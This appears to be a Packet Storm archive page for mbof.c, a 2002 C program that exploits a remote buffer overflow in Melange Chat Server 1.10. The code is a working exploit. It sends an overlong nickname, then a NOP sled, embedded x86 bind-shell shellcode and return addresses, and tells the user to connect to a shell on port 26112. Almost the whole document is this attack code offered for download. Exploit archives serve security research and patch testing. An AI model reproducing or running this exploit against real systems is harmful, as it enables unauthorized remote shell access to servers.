exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mbof.c

mbof.c
Posted Dec 24, 2002
Authored by Innerphobia

Remote buffer overflow exploit for the melange chat server v1.10. Tested on SuSE 8.0 and Redhat 7.3.

tags | exploit, remote, overflow
systems | linux, redhat, suse
SHA-256 | 2ebf0d0384b1b15ad2931288e662c25760b2f664f21362f3c9bf4f12f2e1a27f

mbof.c

Change Mirror Download
/*
Proof of Concept for Melange Chat Server 1.10
a lame remote bof exploit by innerphobia <up2u_@hotmail.com> 12/24/02

Credits go to:
- iDefense Labs for the advisory
- blink for discovering the bug
- Irian for the shellcode

With careful calculation it is *possible* to control even the EIP,
not just one byte of EIP.
There are to a few things that will happen if we use a wrong ret address:
1. Seg fault / shut down.
2. Keep on going < nothing happens >.

Code tested on Suse 8.0 and RH 7.3
Merry Xmas :)
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

// magic numbers begin here
#define ADDR 0xbfffd490
#define NICKLEN 49
#define BUFFLEN 463
// magic numbers end

// brutally copied from Irian's cy.c
char evil[]=
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
"\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc,char **argv){
int i,j=0,sock,port = 6666;
char *host;
char nick[NICKLEN],buff[BUFFLEN];
struct hostent *htent;
struct sockaddr_in serv_addr;
long jump = ADDR;
u_long *ptr = (u_long *)buff;

if(argc>4||argc<2)
printf("Usage : %s [hostname] [ret address in hex (0x41414141)]
[port]\n",argv[0]),exit(1);

host=argv[1];
if(argc>2) sscanf(argv[2],"0x%lx",&jump);
if(argc>3) port=atoi(argv[3]);

if((htent = gethostbyname(argv[1])) != NULL && (sock =
socket(AF_INET,SOCK_STREAM,0)) != -1){

serv_addr.sin_family = AF_INET;
memcpy((char
*)&serv_addr.sin_addr.s_addr,htent->h_addr_list[0],htent->h_length);
serv_addr.sin_port = htons(port);

if(!connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))){

printf("Connected to %s at %d [0x%lx]\nTrying to send %d chars
NICKNAME\n",host,port,jump,sizeof(nick)-6);

memset(nick,'A',sizeof(nick)),memcpy(nick,"/NICK ",6);

if(send(sock,nick,sizeof(nick),0) == -1)
perror("Sending nickname failed\n"),exit(1);
sleep(1);

for(i=0;i<sizeof(buff);i+=4) *(ptr++)=jump;
for(i=0;i<sizeof(buff)-200-strlen(evil);i++) buff[i]=0x90;
for(j=0;j<strlen(evil);j++) buff[i++]=evil[j];

printf("Trying to send overflow string\n");

if(send(sock,buff,sizeof(buff),0) == -1)
perror("Sending overflow failed :(\n"),exit(1);

sleep(1);
printf("Now try to connect to host : %s port : 26112\n",host);
close(sock);
}
else printf("Can't connect to %s at %d\n",host,port),exit(1);
}
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close